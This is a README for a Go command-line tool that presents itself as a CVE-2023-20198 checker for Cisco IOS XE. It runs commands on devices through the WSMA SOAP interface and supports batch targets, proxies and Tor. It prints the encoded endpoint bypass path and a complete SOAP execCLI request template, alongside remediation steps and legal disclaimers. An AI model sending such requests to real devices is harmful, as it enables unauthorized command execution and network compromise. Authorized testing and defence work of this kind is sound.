Cisco CVE-2023-20198 Checker

A professional vulnerability scanner for detecting CVE-2023-20198 in Cisco IOS XE devices. Tests for vulnerable SOAP/XML interfaces (WSMA). Designed for authorized security assessments and network auditing.

⚠️ Legal Disclaimer

FOR AUTHORIZED SECURITY TESTING ONLY

This tool is intended exclusively for:

Authorized vulnerability scanning
Security audits with explicit written consent
Network security assessments
Educational purposes in controlled lab environments
Compliance and penetration testing

Unauthorized access to computer systems is ILLEGAL. Always ensure you have proper authorization before testing any systems.

🚀 Quick Start

Installation

Using `go install` (Recommended)

go install github.com/gustavorobertux/cisco-cve-2023-20198-checker@latest

The binary will be installed to your $GOPATH/bin directory (usually ~/go/bin).

Manual Installation

# Clone repository
git clone https://github.com/gustavorobertux/cisco-cve-2023-20198-checker.git
cd cisco-cve-2023-20198-checker

# Build
go build -o cisco-cve-2023-20198-checker

# Install (optional)
sudo mv cisco-cve-2023-20198-checker /usr/local/bin/

Basic Usage

# Check single target
cisco-cve-2023-20198-checker -target 192.168.1.100 -password admin123

# Check multiple targets
cisco-cve-2023-20198-checker -targets-file targets.txt -password admin

# Generate HTML report
cisco-cve-2023-20198-checker -target 10.0.0.1 -password secret -html

📋 Features

✅ Vulnerability Detection - Tests for CVE-2023-20198 (WSMA RCE)
✅ Single & batch target scanning
✅ Custom port support (default: 443)
✅ Command execution via SOAP/XML
✅ Professional HTML report generation
✅ Zero external dependencies
✅ Cross-platform (Linux, macOS, Windows)
✅ SSL/TLS certificate skip option
✅ Configurable timeouts
✅ Proxy support (HTTP, HTTPS, SOCKS5)
✅ Authenticated proxies
✅ Environment variable support (HTTP_PROXY, HTTPS_PROXY)

🌐 Proxy Support

Perfect for corporate environments! Supports:

HTTP/HTTPS proxies
SOCKS5 proxies (SSH tunnels, Tor)
Authenticated proxies
Environment variables

# HTTP Proxy
cisco-cve-2023-20198-checker -target 10.0.0.1 -password admin \
  -proxy http://proxy.company.com:8080

# SOCKS5 (SSH tunnel)
cisco-cve-2023-20198-checker -target 192.168.1.100 -password admin \
  -proxy socks5://127.0.0.1:1080

# Environment variable
export HTTPS_PROXY=http://proxy.company.com:8080
cisco-cve-2023-20198-checker -target 10.0.0.1 -password admin

See PROXY_GUIDE.md for detailed proxy configuration.

💻 Command-Line Options

📖 Usage Examples

Single Target Testing

# Basic vulnerability check
cisco-cve-2023-20198-checker -target 192.168.1.100 -password admin123

# Custom port
cisco-cve-2023-20198-checker -target 10.0.0.1 -port 8443 -password secret

# Execute specific command
cisco-cve-2023-20198-checker -target 10.0.0.1 -password admin \
  -command "show version"

# Generate report
cisco-cve-2023-20198-checker -target 192.168.1.100 -password admin -html

Batch Testing

# Create targets file
cat > targets.txt << EOF
192.168.1.100
10.0.0.1
172.16.0.50
EOF

# Test all targets
cisco-cve-2023-20198-checker -targets-file targets.txt -password admin123

# Batch with HTML report
cisco-cve-2023-20198-checker -targets-file devices.txt -password admin -html

Advanced Commands

# Network enumeration
cisco-cve-2023-20198-checker -target 10.0.0.1 -password admin \
  -command "show ip interface brief"

# Version detection
cisco-cve-2023-20198-checker -target 10.0.0.1 -password admin \
  -command "show version"

# Through HTTP proxy
cisco-cve-2023-20198-checker -target 10.0.0.1 -password admin \
  -proxy http://proxy.company.com:8080

# Through SOCKS5 proxy (SSH tunnel)
cisco-cve-2023-20198-checker -target 192.168.1.100 -password admin \
  -proxy socks5://127.0.0.1:1080

# Authenticated proxy
cisco-cve-2023-20198-checker -target 10.0.0.1 -password admin \
  -proxy http://user:[email protected]:8080

🔧 About CVE-2023-20198

Vulnerability Details

CVE ID: CVE-2023-20198
CVSS Score: 10.0 (Critical)
Type: Remote Code Execution (RCE)
Affected: Cisco IOS XE Web UI (WSMA)

Technical Details

Endpoint: /%2577ebui_wsma_https (path encoding bypass)
Protocol: SOAP 1.1 over HTTPS
Authentication: WS-Security UsernameToken (valid credentials required)
Namespace: urn:cisco:wsma-exec
Impact: Complete device compromise with valid credentials

SOAP Request Structure

<SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/">
    <SOAP:Header>
        <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext">
            <wsse:UsernameToken>
                <wsse:Username>admin</wsse:Username>
                <wsse:Password>password</wsse:Password>
            </wsse:UsernameToken>
        </wsse:Security>
    </SOAP:Header>
    <SOAP:Body>
        <request xmlns="urn:cisco:wsma-exec">
            <execCLI>
                <cmd>COMMAND_HERE</cmd>
            </execCLI>
        </request>
    </SOAP:Body>
</SOAP:Envelope>

🛡️ Remediation

For System Administrators

If your devices are vulnerable:

1. Disable WSMA (if not required)

no ip http server
no ip http secure-server

2. Restrict access with ACLs

ip http access-class MGMT-ONLY
ip access-list standard MGMT-ONLY
  permit 10.0.0.0 0.0.0.255
  deny any log

3. Update firmware - Apply latest Cisco security patches

4. Enable strong authentication

aaa new-model
aaa authentication login default group tacacs+ local

5. Monitor logs - Watch for suspicious SOAP/HTTP activity

🏗️ Building from Source

Prerequisites

Go 1.21 or higher

Build

# Standard build
go build -o cisco-cve-2023-20198-checker

# Optimized (smaller binary)
go build -ldflags="-s -w" -o cisco-cve-2023-20198-checker

# Cross-compile for different platforms
GOOS=linux GOARCH=amd64 go build -o cisco-cve-2023-20198-checker-linux
GOOS=windows GOARCH=amd64 go build -o cisco-cve-2023-20198-checker.exe
GOOS=darwin GOARCH=arm64 go build -o cisco-cve-2023-20198-checker-mac-m1

📊 Output Examples

Terminal Output

╔═══════════════════════════════════════════════════════════╗
║     Cisco SOAP/XML Security Checker                       ║
║     Educational & Authorized Security Assessment Only     ║
╚═══════════════════════════════════════════════════════════╝

[*] Command: show version
[*] Port: 443
[*] Timeout: 10 seconds

[1/1] Testing target: 192.168.1.100:443
[*] Sending SOAP request...
[+] Response received (Status: 200)
[+] Success!

╔═══════════════════════════════════════════════════════════╗
║                    BATCH RESULTS                          ║
╚═══════════════════════════════════════════════════════════╝

[✓] 192.168.1.100:443 - SUCCESS
Cisco IOS XE Software, Version 16.09.04...

╔═══════════════════════════════════════════════════════════╗
║                      SUMMARY                              ║
╚═══════════════════════════════════════════════════════════╝
Total Targets: 1
Successful: 1
Failed: 0

HTML Report

Professional security assessment report with:

Statistics dashboard
Detailed configuration
Command outputs (terminal-style)
Technical metadata
Legal disclaimers

🤝 Contributing

Contributions welcome! Please:

Fork the repository
Create a feature branch
Make your changes
Submit a pull request

📝 License

MIT License - see LICENSE file

🔗 References

⚖️ Responsible Disclosure

This tool is for authorized vulnerability scanning only. The authors are not responsible for misuse. Always obtain written permission before testing systems you don't own.

Made for the Security Community 🛡️

`-target`	string	-	Single target IP/hostname
`-targets-file`	string	-	File with targets (one per line)
`-port`	int	443	HTTPS/SOAP port
`-username`	string	admin	SOAP username
`-password`	string	-	Required. SOAP password
`-command`	string	uname -a	Command to execute
`-html`	bool	false	Generate HTML report
`-timeout`	int	10	Request timeout (seconds)
`-skip-verify`	bool	true	Skip SSL verification
`-proxy`	string	-	Proxy URL (http://, https://, socks5://)

cisco-cve-2023-20198-checker

Most Popular